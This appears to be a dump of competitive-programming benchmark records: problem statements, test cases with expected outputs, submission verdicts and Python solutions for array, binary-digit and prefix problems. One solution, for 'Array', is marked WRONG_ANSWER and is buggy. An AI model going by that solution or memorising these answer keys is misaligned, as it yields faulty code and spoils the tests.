n = int(input()) arr = [int(x) for x in input().split()] counter = [0]*1001 for i in range(n): counter[arr[i]] += 1 q = [] for i in range(1001): if counter[i] > 0: q.extend([i]*counter[i]) j = 0 out = [None]*n for i in range(0,n,2): out[i] = q[j] j += 1 for i in range(1,n,2): out[i] = q[j] j += 1 # print(out) msg = "YES" for i in range(1,n): if out[i] == out[i-1]: msg = "NO" break print(msg)
Title: Yaroslav and Permutations Time Limit: None seconds Memory Limit: None megabytes Problem Description: Yaroslav has an array that consists of *n* integers. In one second Yaroslav can swap two neighboring array elements. Now Yaroslav is wondering if he can obtain an array where any two neighboring elements would be distinct in a finite time. Help Yaroslav. Input Specification: The first line contains integer *n* (1<=≤<=*n*<=≤<=100) — the number of elements in the array. The second line contains *n* integers *a*1,<=*a*2,<=...,<=*a**n* (1<=≤<=*a**i*<=≤<=1000) — the array elements. Output Specification: In the single line print "YES" (without the quotes) if Yaroslav can obtain the array he needs, and "NO" (without the quotes) otherwise. Demo Input: ['1\n1\n', '3\n1 1 2\n', '4\n7 7 7 7\n'] Demo Output: ['YES\n', 'YES\n', 'NO\n'] Note: In the first sample the initial array fits well. In the second sample Yaroslav can get array: 1, 2, 1. He can swap the last and the second last elements to obtain it. In the third sample Yarosav can't get the array he needs.
```python n = int(input()) arr = [int(x) for x in input().split()] counter = [0]*1001 for i in range(n): counter[arr[i]] += 1 q = [] for i in range(1001): if counter[i] > 0: q.extend([i]*counter[i]) j = 0 out = [None]*n for i in range(0,n,2): out[i] = q[j] j += 1 for i in range(1,n,2): out[i] = q[j] j += 1 # print(out) msg = "YES" for i in range(1,n): if out[i] == out[i-1]: msg = "NO" break print(msg) ```
0
300
A
Array
PROGRAMMING
1,100
[ "brute force", "constructive algorithms", "implementation" ]
null
null
Vitaly has an array of *n* distinct integers. Vitaly wants to divide this array into three non-empty sets so as the following conditions hold: 1. The product of all numbers in the first set is less than zero (<=&lt;<=0). 1. The product of all numbers in the second set is greater than zero (<=&gt;<=0). 1. The product of all numbers in the third set is equal to zero. 1. Each number from the initial array must occur in exactly one set. Help Vitaly. Divide the given array.
The first line of the input contains integer *n* (3<=≤<=*n*<=≤<=100). The second line contains *n* space-separated distinct integers *a*1,<=*a*2,<=...,<=*a**n* (|*a**i*|<=≤<=103) — the array elements.
In the first line print integer *n*1 (*n*1<=&gt;<=0) — the number of elements in the first set. Then print *n*1 numbers — the elements that got to the first set. In the next line print integer *n*2 (*n*2<=&gt;<=0) — the number of elements in the second set. Then print *n*2 numbers — the elements that got to the second set. In the next line print integer *n*3 (*n*3<=&gt;<=0) — the number of elements in the third set. Then print *n*3 numbers — the elements that got to the third set. The printed sets must meet the described conditions. It is guaranteed that the solution exists. If there are several solutions, you are allowed to print any of them.
[ "3\n-1 2 0\n", "4\n-1 -2 -3 0\n" ]
[ "1 -1\n1 2\n1 0\n", "1 -1\n2 -3 -2\n1 0\n" ]
none
500
[ { "input": "3\n-1 2 0", "output": "1 -1\n1 2\n1 0" }, { "input": "4\n-1 -2 -3 0", "output": "1 -1\n2 -3 -2\n1 0" }, { "input": "5\n-1 -2 1 2 0", "output": "1 -1\n2 1 2\n2 0 -2" }, { "input": "100\n-64 -51 -75 -98 74 -26 -1 -8 -99 -76 -53 -80 -43 -22 -100 -62 -34 -5 -65 -81 -18 -91 -92 -16 -23 -95 -9 -19 -44 -46 -79 52 -35 4 -87 -7 -90 -20 -71 -61 -67 -50 -66 -68 -49 -27 -32 -57 -85 -59 -30 -36 -3 -77 86 -25 -94 -56 60 -24 -37 -72 -41 -31 11 -48 28 -38 -42 -39 -33 -70 -84 0 -93 -73 -14 -69 -40 -97 -6 -55 -45 -54 -10 -29 -96 -12 -83 -15 -21 -47 17 -2 -63 -89 88 13 -58 -82", "output": "89 -64 -51 -75 -98 -26 -1 -8 -99 -76 -53 -80 -43 -22 -100 -62 -34 -5 -65 -81 -18 -91 -92 -16 -23 -95 -9 -19 -44 -46 -79 -35 -87 -7 -90 -20 -71 -61 -67 -50 -66 -68 -49 -27 -32 -57 -85 -59 -30 -36 -3 -77 -25 -94 -56 -24 -37 -72 -41 -31 -48 -38 -42 -39 -33 -70 -84 -93 -73 -14 -69 -40 -97 -6 -55 -45 -54 -10 -29 -96 -12 -83 -15 -21 -47 -2 -63 -89 -58 -82\n10 74 52 4 86 60 11 28 17 88 13\n1 0" }, { "input": "100\n3 -66 -17 54 24 -29 76 89 32 -37 93 -16 99 -25 51 78 23 68 -95 59 18 34 -45 77 9 39 -10 19 8 73 -5 60 12 31 0 2 26 40 48 30 52 49 27 4 87 57 85 58 -61 50 83 80 69 67 91 97 -96 11 100 56 82 53 13 -92 -72 70 1 -94 -63 47 21 14 74 7 6 33 55 65 64 -41 81 42 36 28 38 20 43 71 90 -88 22 84 -86 15 75 62 44 35 98 46", "output": "19 -66 -17 -29 -37 -16 -25 -95 -45 -10 -5 -61 -96 -92 -72 -94 -63 -41 -88 -86\n80 3 54 24 76 89 32 93 99 51 78 23 68 59 18 34 77 9 39 19 8 73 60 12 31 2 26 40 48 30 52 49 27 4 87 57 85 58 50 83 80 69 67 91 97 11 100 56 82 53 13 70 1 47 21 14 74 7 6 33 55 65 64 81 42 36 28 38 20 43 71 90 22 84 15 75 62 44 35 98 46\n1 0" }, { "input": "100\n-17 16 -70 32 -60 75 -100 -9 -68 -30 -42 86 -88 -98 -47 -5 58 -14 -94 -73 -80 -51 -66 -85 -53 49 -25 -3 -45 -69 -11 -64 83 74 -65 67 13 -91 81 6 -90 -54 -12 -39 0 -24 -71 -41 -44 57 -93 -20 -92 18 -43 -52 -55 -84 -89 -19 40 -4 -99 -26 -87 -36 -56 -61 -62 37 -95 -28 63 23 35 -82 1 -2 -78 -96 -21 -77 -76 -27 -10 -97 -8 46 -15 -48 -34 -59 -7 -29 50 -33 -72 -79 22 38", "output": "75 -17 -70 -60 -100 -9 -68 -30 -42 -88 -98 -47 -5 -14 -94 -73 -80 -51 -66 -85 -53 -25 -3 -45 -69 -11 -64 -65 -91 -90 -54 -12 -39 -24 -71 -41 -44 -93 -20 -92 -43 -52 -55 -84 -89 -19 -4 -99 -26 -87 -36 -56 -61 -62 -95 -28 -82 -2 -78 -96 -21 -77 -76 -27 -10 -97 -8 -15 -48 -34 -59 -7 -29 -33 -72 -79\n24 16 32 75 86 58 49 83 74 67 13 81 6 57 18 40 37 63 23 35 1 46 50 22 38\n1 0" }, { "input": "100\n-97 -90 61 78 87 -52 -3 65 83 38 30 -60 35 -50 -73 -77 44 -32 -81 17 -67 58 -6 -34 47 -28 71 -45 69 -80 -4 -7 -57 -79 43 -27 -31 29 16 -89 -21 -93 95 -82 74 -5 -70 -20 -18 36 -64 -66 72 53 62 -68 26 15 76 -40 -99 8 59 88 49 -23 9 10 56 -48 -98 0 100 -54 25 94 13 -63 42 39 -1 55 24 -12 75 51 41 84 -96 -85 -2 -92 14 -46 -91 -19 -11 -86 22 -37", "output": "51 -97 -90 -52 -3 -60 -50 -73 -77 -32 -81 -67 -6 -34 -28 -45 -80 -4 -7 -57 -79 -27 -31 -89 -21 -93 -82 -5 -70 -20 -18 -64 -66 -68 -40 -99 -23 -48 -98 -54 -63 -1 -12 -96 -85 -2 -92 -46 -91 -19 -11 -86\n47 61 78 87 65 83 38 30 35 44 17 58 47 71 69 43 29 16 95 74 36 72 53 62 26 15 76 8 59 88 49 9 10 56 100 25 94 13 42 39 55 24 75 51 41 84 14 22\n2 0 -37" }, { "input": "100\n-75 -60 -18 -92 -71 -9 -37 -34 -82 28 -54 93 -83 -76 -58 -88 -17 -97 64 -39 -96 -81 -10 -98 -47 -100 -22 27 14 -33 -19 -99 87 -66 57 -21 -90 -70 -32 -26 24 -77 -74 13 -44 16 -5 -55 -2 -6 -7 -73 -1 -68 -30 -95 -42 69 0 -20 -79 59 -48 -4 -72 -67 -46 62 51 -52 -86 -40 56 -53 85 -35 -8 49 50 65 29 11 -43 -15 -41 -12 -3 -80 -31 -38 -91 -45 -25 78 94 -23 -63 84 89 -61", "output": "73 -75 -60 -18 -92 -71 -9 -37 -34 -82 -54 -83 -76 -58 -88 -17 -97 -39 -96 -81 -10 -98 -47 -100 -22 -33 -19 -99 -66 -21 -90 -70 -32 -26 -77 -74 -44 -5 -55 -2 -6 -7 -73 -1 -68 -30 -95 -42 -20 -79 -48 -4 -72 -67 -46 -52 -86 -40 -53 -35 -8 -43 -15 -41 -12 -3 -80 -31 -38 -91 -45 -25 -23 -63\n25 28 93 64 27 14 87 57 24 13 16 69 59 62 51 56 85 49 50 65 29 11 78 94 84 89\n2 0 -61" }, { "input": "100\n-87 -48 -76 -1 -10 -17 -22 -19 -27 -99 -43 49 38 -20 -45 -64 44 -96 -35 -74 -65 -41 -21 -75 37 -12 -67 0 -3 5 -80 -93 -81 -97 -47 -63 53 -100 95 -79 -83 -90 -32 88 -77 -16 -23 -54 -28 -4 -73 -98 -25 -39 60 -56 -34 -2 -11 -55 -52 -69 -68 -29 -82 -62 -36 -13 -6 -89 8 -72 18 -15 -50 -71 -70 -92 -42 -78 -61 -9 -30 -85 -91 -94 84 -86 -7 -57 -14 40 -33 51 -26 46 59 -31 -58 -66", "output": "83 -87 -48 -76 -1 -10 -17 -22 -19 -27 -99 -43 -20 -45 -64 -96 -35 -74 -65 -41 -21 -75 -12 -67 -3 -80 -93 -81 -97 -47 -63 -100 -79 -83 -90 -32 -77 -16 -23 -54 -28 -4 -73 -98 -25 -39 -56 -34 -2 -11 -55 -52 -69 -68 -29 -82 -62 -36 -13 -6 -89 -72 -15 -50 -71 -70 -92 -42 -78 -61 -9 -30 -85 -91 -94 -86 -7 -57 -14 -33 -26 -31 -58 -66\n16 49 38 44 37 5 53 95 88 60 8 18 84 40 51 46 59\n1 0" }, { "input": "100\n-95 -28 -43 -72 -11 -24 -37 -35 -44 -66 -45 -62 -96 -51 -55 -23 -31 -26 -59 -17 77 -69 -10 -12 -78 -14 -52 -57 -40 -75 4 -98 -6 7 -53 -3 -90 -63 -8 -20 88 -91 -32 -76 -80 -97 -34 -27 -19 0 70 -38 -9 -49 -67 73 -36 2 81 -39 -65 -83 -64 -18 -94 -79 -58 -16 87 -22 -74 -25 -13 -46 -89 -47 5 -15 -54 -99 56 -30 -60 -21 -86 33 -1 -50 -68 -100 -85 -29 92 -48 -61 42 -84 -93 -41 -82", "output": "85 -95 -28 -43 -72 -11 -24 -37 -35 -44 -66 -45 -62 -96 -51 -55 -23 -31 -26 -59 -17 -69 -10 -12 -78 -14 -52 -57 -40 -75 -98 -6 -53 -3 -90 -63 -8 -20 -91 -32 -76 -80 -97 -34 -27 -19 -38 -9 -49 -67 -36 -39 -65 -83 -64 -18 -94 -79 -58 -16 -22 -74 -25 -13 -46 -89 -47 -15 -54 -99 -30 -60 -21 -86 -1 -50 -68 -100 -85 -29 -48 -61 -84 -93 -41 -82\n14 77 4 7 88 70 73 2 81 87 5 56 33 92 42\n1 0" }, { "input": "100\n-12 -41 57 13 83 -36 53 69 -6 86 -75 87 11 -5 -4 -14 -37 -84 70 2 -73 16 31 34 -45 94 -9 26 27 52 -42 46 96 21 32 7 -18 61 66 -51 95 -48 -76 90 80 -40 89 77 78 54 -30 8 88 33 -24 82 -15 19 1 59 44 64 -97 -60 43 56 35 47 39 50 29 28 -17 -67 74 23 85 -68 79 0 65 55 -3 92 -99 72 93 -71 38 -10 -100 -98 81 62 91 -63 -58 49 -20 22", "output": "35 -12 -41 -36 -6 -75 -5 -4 -14 -37 -84 -73 -45 -9 -42 -18 -51 -48 -76 -40 -30 -24 -15 -97 -60 -17 -67 -68 -3 -99 -71 -10 -100 -98 -63 -58\n63 57 13 83 53 69 86 87 11 70 2 16 31 34 94 26 27 52 46 96 21 32 7 61 66 95 90 80 89 77 78 54 8 88 33 82 19 1 59 44 64 43 56 35 47 39 50 29 28 74 23 85 79 65 55 92 72 93 38 81 62 91 49 22\n2 0 -20" }, { "input": "100\n-34 81 85 -96 50 20 54 86 22 10 -19 52 65 44 30 53 63 71 17 98 -92 4 5 -99 89 -23 48 9 7 33 75 2 47 -56 42 70 -68 57 51 83 82 94 91 45 46 25 95 11 -12 62 -31 -87 58 38 67 97 -60 66 73 -28 13 93 29 59 -49 77 37 -43 -27 0 -16 72 15 79 61 78 35 21 3 8 84 1 -32 36 74 -88 26 100 6 14 40 76 18 90 24 69 80 64 55 41", "output": "19 -34 -96 -19 -92 -99 -23 -56 -68 -12 -31 -87 -60 -28 -49 -43 -27 -16 -32 -88\n80 81 85 50 20 54 86 22 10 52 65 44 30 53 63 71 17 98 4 5 89 48 9 7 33 75 2 47 42 70 57 51 83 82 94 91 45 46 25 95 11 62 58 38 67 97 66 73 13 93 29 59 77 37 72 15 79 61 78 35 21 3 8 84 1 36 74 26 100 6 14 40 76 18 90 24 69 80 64 55 41\n1 0" }, { "input": "100\n-1000 -986 -979 -955 -966 -963 -973 -959 -972 -906 -924 -927 -929 -918 -977 -967 -921 -989 -911 -995 -945 -919 -971 -913 -912 -933 -969 -975 -920 -988 -997 -994 -953 -962 -940 -905 -978 -948 -957 -996 0 -976 -949 -931 -903 -985 -923 -993 -944 -909 -938 -946 -934 -992 -904 -980 -954 -943 -917 -968 -991 -956 -902 -942 -999 -998 -908 -928 -930 -914 -922 -936 -960 -937 -939 -926 -965 -925 -951 -910 -907 -970 -990 -984 -964 -987 -916 -947 -982 -950 -974 -915 -932 -958 -981 -941 -961 -983 -952 -935", "output": "97 -1000 -986 -979 -955 -966 -963 -973 -959 -972 -906 -924 -927 -929 -918 -977 -967 -921 -989 -911 -995 -945 -919 -971 -913 -912 -933 -969 -975 -920 -988 -997 -994 -953 -962 -940 -905 -978 -948 -957 -996 -976 -949 -931 -903 -985 -923 -993 -944 -909 -938 -946 -934 -992 -904 -980 -954 -943 -917 -968 -991 -956 -902 -942 -999 -998 -908 -928 -930 -914 -922 -936 -960 -937 -939 -926 -965 -925 -951 -910 -907 -970 -990 -984 -964 -987 -916 -947 -982 -950 -974 -915 -932 -958 -981 -941 -961 -983\n2 -935 -952\n1 0" }, { "input": "99\n-1000 -986 -979 -955 -966 -963 -973 -959 -972 -906 -924 -927 -929 -918 -977 -967 -921 -989 -911 -995 -945 -919 -971 -913 -912 -933 -969 -975 -920 -988 -997 -994 -953 -962 -940 -905 -978 -948 -957 -996 0 -976 -949 -931 -903 -985 -923 -993 -944 -909 -938 -946 -934 -992 -904 -980 -954 -943 -917 -968 -991 -956 -902 -942 -999 -998 -908 -928 -930 -914 -922 -936 -960 -937 -939 -926 -965 -925 -951 -910 -907 -970 -990 -984 -964 -987 -916 -947 -982 -950 -974 -915 -932 -958 -981 -941 -961 -983 -952", "output": "95 -1000 -986 -979 -955 -966 -963 -973 -959 -972 -906 -924 -927 -929 -918 -977 -967 -921 -989 -911 -995 -945 -919 -971 -913 -912 -933 -969 -975 -920 -988 -997 -994 -953 -962 -940 -905 -978 -948 -957 -996 -976 -949 -931 -903 -985 -923 -993 -944 -909 -938 -946 -934 -992 -904 -980 -954 -943 -917 -968 -991 -956 -902 -942 -999 -998 -908 -928 -930 -914 -922 -936 -960 -937 -939 -926 -965 -925 -951 -910 -907 -970 -990 -984 -964 -987 -916 -947 -982 -950 -974 -915 -932 -958 -981 -941\n2 -952 -983\n2 0 -961" }, { "input": "59\n-990 -876 -641 -726 718 -53 803 -954 894 -265 -587 -665 904 349 754 -978 441 794 -768 -428 -569 -476 188 -620 -290 -333 45 705 -201 109 165 446 13 122 714 -562 -15 -86 -960 43 329 578 287 -776 -14 -71 915 886 -259 337 -495 913 -498 -669 -673 818 225 647 0", "output": "29 -990 -876 -641 -726 -53 -954 -265 -587 -665 -978 -768 -428 -569 -476 -620 -290 -333 -201 -562 -15 -86 -960 -776 -14 -71 -259 -495 -498 -669\n28 718 803 894 904 349 754 441 794 188 45 705 109 165 446 13 122 714 43 329 578 287 915 886 337 913 818 225 647\n2 0 -673" }, { "input": "64\n502 885 -631 -906 735 687 642 -29 -696 -165 -524 15 -129 -663 -846 -501 -651 895 -341 -833 -142 33 -847 688 945 -192 -587 -930 603 849 736 676 788 256 863 -509 319 -49 -807 -158 218 -886 -143 -639 118 -156 -291 325 892 -916 -622 -960 -959 -731 -943 436 -535 861 745 589 -159 376 -182 0", "output": "35 -631 -906 -29 -696 -165 -524 -129 -663 -846 -501 -651 -341 -833 -142 -847 -192 -587 -930 -509 -49 -807 -158 -886 -143 -639 -156 -291 -916 -622 -960 -959 -731 -943 -535 -159\n27 502 885 735 687 642 15 895 33 688 945 603 849 736 676 788 256 863 319 218 118 325 892 436 861 745 589 376\n2 0 -182" }, { "input": "5\n-1 -2 -3 -4 0", "output": "1 -1\n2 -4 -3\n2 0 -2" }, { "input": "3\n-101 101 0", "output": "1 -101\n1 101\n1 0" }, { "input": "21\n-100 -200 -300 -400 -500 -600 -700 -800 -900 -1000 0 100 200 300 400 500 600 700 800 900 1000", "output": "9 -100 -200 -300 -400 -500 -600 -700 -800 -900\n10 100 200 300 400 500 600 700 800 900 1000\n2 0 -1000" }, { "input": "4\n0 -1 -2 -3", "output": "1 -1\n2 -3 -2\n1 0" } ]
1,633,359,413
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
2
124
6,963,200
n = int(input()) a = list(map(int, input().split())) negatives = [] zeroes = [] positives = [] for i in a: if i > 0: positives.append(i) elif i == 0: zeroes.append(i) else: negatives.append(i) if len(negatives) > 2: if len(negatives) % 2 == 0: positives.append(negatives[0]) negatives.pop(0) zeroes.append(negatives[0]) negatives.pop(1) else: positives.append(negatives[0]) negatives.pop(0) print(len(positives), *positives,sep=" ") print(len(negatives), *negatives,sep=" ") print(len(zeroes), *zeroes,sep=" ") else: print(len(negatives), *negatives,sep=" ") print(len(positives), *positives,sep=" ") print(len(zeroes), *zeroes,sep=" ")
Title: Array Time Limit: None seconds Memory Limit: None megabytes Problem Description: Vitaly has an array of *n* distinct integers. Vitaly wants to divide this array into three non-empty sets so as the following conditions hold: 1. The product of all numbers in the first set is less than zero (<=&lt;<=0). 1. The product of all numbers in the second set is greater than zero (<=&gt;<=0). 1. The product of all numbers in the third set is equal to zero. 1. Each number from the initial array must occur in exactly one set. Help Vitaly. Divide the given array. Input Specification: The first line of the input contains integer *n* (3<=≤<=*n*<=≤<=100). The second line contains *n* space-separated distinct integers *a*1,<=*a*2,<=...,<=*a**n* (|*a**i*|<=≤<=103) — the array elements. Output Specification: In the first line print integer *n*1 (*n*1<=&gt;<=0) — the number of elements in the first set. Then print *n*1 numbers — the elements that got to the first set. In the next line print integer *n*2 (*n*2<=&gt;<=0) — the number of elements in the second set. Then print *n*2 numbers — the elements that got to the second set. In the next line print integer *n*3 (*n*3<=&gt;<=0) — the number of elements in the third set. Then print *n*3 numbers — the elements that got to the third set. The printed sets must meet the described conditions. It is guaranteed that the solution exists. If there are several solutions, you are allowed to print any of them. Demo Input: ['3\n-1 2 0\n', '4\n-1 -2 -3 0\n'] Demo Output: ['1 -1\n1 2\n1 0\n', '1 -1\n2 -3 -2\n1 0\n'] Note: none
```python n = int(input()) a = list(map(int, input().split())) negatives = [] zeroes = [] positives = [] for i in a: if i > 0: positives.append(i) elif i == 0: zeroes.append(i) else: negatives.append(i) if len(negatives) > 2: if len(negatives) % 2 == 0: positives.append(negatives[0]) negatives.pop(0) zeroes.append(negatives[0]) negatives.pop(1) else: positives.append(negatives[0]) negatives.pop(0) print(len(positives), *positives,sep=" ") print(len(negatives), *negatives,sep=" ") print(len(zeroes), *zeroes,sep=" ") else: print(len(negatives), *negatives,sep=" ") print(len(positives), *positives,sep=" ") print(len(zeroes), *zeroes,sep=" ") ```
0
258
A
Little Elephant and Bits
PROGRAMMING
1,100
[ "greedy", "math" ]
null
null
The Little Elephant has an integer *a*, written in the binary notation. He wants to write this number on a piece of paper. To make sure that the number *a* fits on the piece of paper, the Little Elephant ought to delete exactly one any digit from number *a* in the binary record. At that a new number appears. It consists of the remaining binary digits, written in the corresponding order (possible, with leading zeroes). The Little Elephant wants the number he is going to write on the paper to be as large as possible. Help him find the maximum number that he can obtain after deleting exactly one binary digit and print it in the binary notation.
The single line contains integer *a*, written in the binary notation without leading zeroes. This number contains more than 1 and at most 105 digits.
In the single line print the number that is written without leading zeroes in the binary notation — the answer to the problem.
[ "101\n", "110010\n" ]
[ "11\n", "11010\n" ]
In the first sample the best strategy is to delete the second digit. That results in number 11<sub class="lower-index">2</sub> = 3<sub class="lower-index">10</sub>. In the second sample the best strategy is to delete the third or fourth digits — that results in number 11010<sub class="lower-index">2</sub> = 26<sub class="lower-index">10</sub>.
500
[ { "input": "101", "output": "11" }, { "input": "110010", "output": "11010" }, { "input": "10000", "output": "1000" }, { "input": "1111111110", "output": "111111111" }, { "input": "10100101011110101", "output": "1100101011110101" }, { "input": "111010010111", "output": "11110010111" }, { "input": "11110111011100000000", "output": "1111111011100000000" }, { "input": "11110010010100001110110101110011110110100111101", "output": "1111010010100001110110101110011110110100111101" }, { "input": "1001011111010010100111111", "output": "101011111010010100111111" }, { "input": "1111111111", "output": "111111111" }, { "input": "1111111111111111111100111101001110110111111000001111110101001101001110011000001011001111111000110101", "output": "111111111111111111110111101001110110111111000001111110101001101001110011000001011001111111000110101" }, { "input": "11010110000100100101111110111001001010011000011011000010010100111010101000111010011101101111110001111000101000001100011101110100", "output": "1110110000100100101111110111001001010011000011011000010010100111010101000111010011101101111110001111000101000001100011101110100" }, { "input": "11111111111111111111111110110111001101100111010010101101101001011100011011000111010011110010101100010001011101011010010100001000011100001101101001100010100001001010010100100001111110100110011000101100001111111011010111001011111110111101000100101001001011", "output": "1111111111111111111111111110111001101100111010010101101101001011100011011000111010011110010101100010001011101011010010100001000011100001101101001100010100001001010010100100001111110100110011000101100001111111011010111001011111110111101000100101001001011" }, { "input": "11100010010010000110101101101100111111001010001101101001001111010110010111001011010000001100110101000101111000001111101111110010000010101110011110101101010110001100011101111011100010011101100111110010111111100110101000000111101000000000110100100101111101000110101010101101001110001110000101011010101100011100100111100010001011010010001100011111110010011010011000111000100111100010110100011010010101011011011111110100001110000011011", "output": "1110010010010000110101101101100111111001010001101101001001111010110010111001011010000001100110101000101111000001111101111110010000010101110011110101101010110001100011101111011100010011101100111110010111111100110101000000111101000000000110100100101111101000110101010101101001110001110000101011010101100011100100111100010001011010010001100011111110010011010011000111000100111100010110100011010010101011011011111110100001110000011011" }, { "input": "11", "output": "1" }, { "input": "111", "output": "11" }, { "input": "111111", "output": "11111" }, { "input": "11111", "output": "1111" }, { "input": "1111", "output": "111" } ]
1,588,597,898
2,147,483,647
PyPy 3
OK
TESTS
37
310
921,600
s=input() if '0' not in s: print(s[1:]) else: i=s.index('0') s=s[:i]+s[i+1:] print(s)
Title: Little Elephant and Bits Time Limit: None seconds Memory Limit: None megabytes Problem Description: The Little Elephant has an integer *a*, written in the binary notation. He wants to write this number on a piece of paper. To make sure that the number *a* fits on the piece of paper, the Little Elephant ought to delete exactly one any digit from number *a* in the binary record. At that a new number appears. It consists of the remaining binary digits, written in the corresponding order (possible, with leading zeroes). The Little Elephant wants the number he is going to write on the paper to be as large as possible. Help him find the maximum number that he can obtain after deleting exactly one binary digit and print it in the binary notation. Input Specification: The single line contains integer *a*, written in the binary notation without leading zeroes. This number contains more than 1 and at most 105 digits. Output Specification: In the single line print the number that is written without leading zeroes in the binary notation — the answer to the problem. Demo Input: ['101\n', '110010\n'] Demo Output: ['11\n', '11010\n'] Note: In the first sample the best strategy is to delete the second digit. That results in number 11<sub class="lower-index">2</sub> = 3<sub class="lower-index">10</sub>. In the second sample the best strategy is to delete the third or fourth digits — that results in number 11010<sub class="lower-index">2</sub> = 26<sub class="lower-index">10</sub>.
```python s=input() if '0' not in s: print(s[1:]) else: i=s.index('0') s=s[:i]+s[i+1:] print(s) ```
3
509
A
Maximum in Table
PROGRAMMING
800
[ "brute force", "implementation" ]
null
null
An *n*<=×<=*n* table *a* is defined as follows: - The first row and the first column contain ones, that is: *a**i*,<=1<==<=*a*1,<=*i*<==<=1 for all *i*<==<=1,<=2,<=...,<=*n*. - Each of the remaining numbers in the table is equal to the sum of the number above it and the number to the left of it. In other words, the remaining elements are defined by the formula *a**i*,<=*j*<==<=*a**i*<=-<=1,<=*j*<=+<=*a**i*,<=*j*<=-<=1. These conditions define all the values in the table. You are given a number *n*. You need to determine the maximum value in the *n*<=×<=*n* table defined by the rules above.
The only line of input contains a positive integer *n* (1<=≤<=*n*<=≤<=10) — the number of rows and columns of the table.
Print a single line containing a positive integer *m* — the maximum value in the table.
[ "1\n", "5\n" ]
[ "1", "70" ]
In the second test the rows of the table look as follows:
0
[ { "input": "1", "output": "1" }, { "input": "5", "output": "70" }, { "input": "2", "output": "2" }, { "input": "3", "output": "6" }, { "input": "4", "output": "20" }, { "input": "6", "output": "252" }, { "input": "7", "output": "924" }, { "input": "9", "output": "12870" }, { "input": "10", "output": "48620" }, { "input": "8", "output": "3432" } ]
1,618,594,722
2,147,483,647
Python 3
OK
TESTS
10
61
0
n = int(input()) a = [1 for i in range(n)] d = [] mx = 1 a[0] = 1 for j in range(n-1): for i in range(1, n): a[i] = a[i-1] + a[i] mx = max(a) print(mx)
Title: Maximum in Table Time Limit: None seconds Memory Limit: None megabytes Problem Description: An *n*<=×<=*n* table *a* is defined as follows: - The first row and the first column contain ones, that is: *a**i*,<=1<==<=*a*1,<=*i*<==<=1 for all *i*<==<=1,<=2,<=...,<=*n*. - Each of the remaining numbers in the table is equal to the sum of the number above it and the number to the left of it. In other words, the remaining elements are defined by the formula *a**i*,<=*j*<==<=*a**i*<=-<=1,<=*j*<=+<=*a**i*,<=*j*<=-<=1. These conditions define all the values in the table. You are given a number *n*. You need to determine the maximum value in the *n*<=×<=*n* table defined by the rules above. Input Specification: The only line of input contains a positive integer *n* (1<=≤<=*n*<=≤<=10) — the number of rows and columns of the table. Output Specification: Print a single line containing a positive integer *m* — the maximum value in the table. Demo Input: ['1\n', '5\n'] Demo Output: ['1', '70'] Note: In the second test the rows of the table look as follows:
```python n = int(input()) a = [1 for i in range(n)] d = [] mx = 1 a[0] = 1 for j in range(n-1): for i in range(1, n): a[i] = a[i-1] + a[i] mx = max(a) print(mx) ```
3
172
A
Phone Code
PROGRAMMING
800
[ "*special", "brute force", "implementation" ]
null
null
Polycarpus has *n* friends in Tarasov city. Polycarpus knows phone numbers of all his friends: they are strings *s*1,<=*s*2,<=...,<=*s**n*. All these strings consist only of digits and have the same length. Once Polycarpus needed to figure out Tarasov city phone code. He assumed that the phone code of the city is the longest common prefix of all phone numbers of his friends. In other words, it is the longest string *c* which is a prefix (the beginning) of each *s**i* for all *i* (1<=≤<=*i*<=≤<=*n*). Help Polycarpus determine the length of the city phone code.
The first line of the input contains an integer *n* (2<=≤<=*n*<=≤<=3·104) — the number of Polycarpus's friends. The following *n* lines contain strings *s*1,<=*s*2,<=...,<=*s**n* — the phone numbers of Polycarpus's friends. It is guaranteed that all strings consist only of digits and have the same length from 1 to 20, inclusive. It is also guaranteed that all strings are different.
Print the number of digits in the city phone code.
[ "4\n00209\n00219\n00999\n00909\n", "2\n1\n2\n", "3\n77012345678999999999\n77012345678901234567\n77012345678998765432\n" ]
[ "2\n", "0\n", "12\n" ]
A prefix of string *t* is a string that is obtained by deleting zero or more digits from the end of string *t*. For example, string "00209" has 6 prefixes: "" (an empty prefix), "0", "00", "002", "0020", "00209". In the first sample the city phone code is string "00". In the second sample the city phone code is an empty string. In the third sample the city phone code is string "770123456789".
1,000
[ { "input": "4\n00209\n00219\n00999\n00909", "output": "2" }, { "input": "2\n1\n2", "output": "0" }, { "input": "3\n77012345678999999999\n77012345678901234567\n77012345678998765432", "output": "12" }, { "input": "5\n4491183345\n4491184811\n4491162340\n4491233399\n4491449214", "output": "4" }, { "input": "10\n15424\n10953\n19176\n15514\n16284\n18680\n19305\n13816\n16168\n15924", "output": "1" }, { "input": "10\n4906361343\n8985777485\n1204265609\n7088384855\n4127287014\n7904807820\n3032139021\n5999959109\n6477458281\n3244359368", "output": "0" }, { "input": "10\n3717208309\n3717208306\n3717208302\n3717208301\n3717208303\n3717208308\n3717208304\n3717208307\n3717208300\n3717208305", "output": "9" }, { "input": "9\n2881\n2808\n2868\n2874\n2894\n2870\n2818\n2896\n2890", "output": "2" }, { "input": "2\n4\n9", "output": "0" }, { "input": "2\n29867863763143509570\n59261213969200291523", "output": "0" }, { "input": "2\n84\n62", "output": "0" }, { "input": "2\n75970434466248453472\n75970434466248453476", "output": "19" }, { "input": "10\n17254072509168593435\n17254072509168593433\n17254072509168593430\n17254072509168593432\n17254072509168593439\n17254072509168593436\n17254072509168593438\n17254072509168593437\n17254072509168593431\n17254072509168593434", "output": "19" } ]
1,601,375,607
2,147,483,647
PyPy 3
OK
TESTS
28
748
7,065,600
n=int(input()) l=[] for i in range(n): l.append(input()) m=len(l[0]) c=0 for i in range(m): f=0 x=l[0][i] for j in range(1,n): if(x!=l[j][i]): f=1 break if(f==0): c+=1 else: break print(c)
Title: Phone Code Time Limit: None seconds Memory Limit: None megabytes Problem Description: Polycarpus has *n* friends in Tarasov city. Polycarpus knows phone numbers of all his friends: they are strings *s*1,<=*s*2,<=...,<=*s**n*. All these strings consist only of digits and have the same length. Once Polycarpus needed to figure out Tarasov city phone code. He assumed that the phone code of the city is the longest common prefix of all phone numbers of his friends. In other words, it is the longest string *c* which is a prefix (the beginning) of each *s**i* for all *i* (1<=≤<=*i*<=≤<=*n*). Help Polycarpus determine the length of the city phone code. Input Specification: The first line of the input contains an integer *n* (2<=≤<=*n*<=≤<=3·104) — the number of Polycarpus's friends. The following *n* lines contain strings *s*1,<=*s*2,<=...,<=*s**n* — the phone numbers of Polycarpus's friends. It is guaranteed that all strings consist only of digits and have the same length from 1 to 20, inclusive. It is also guaranteed that all strings are 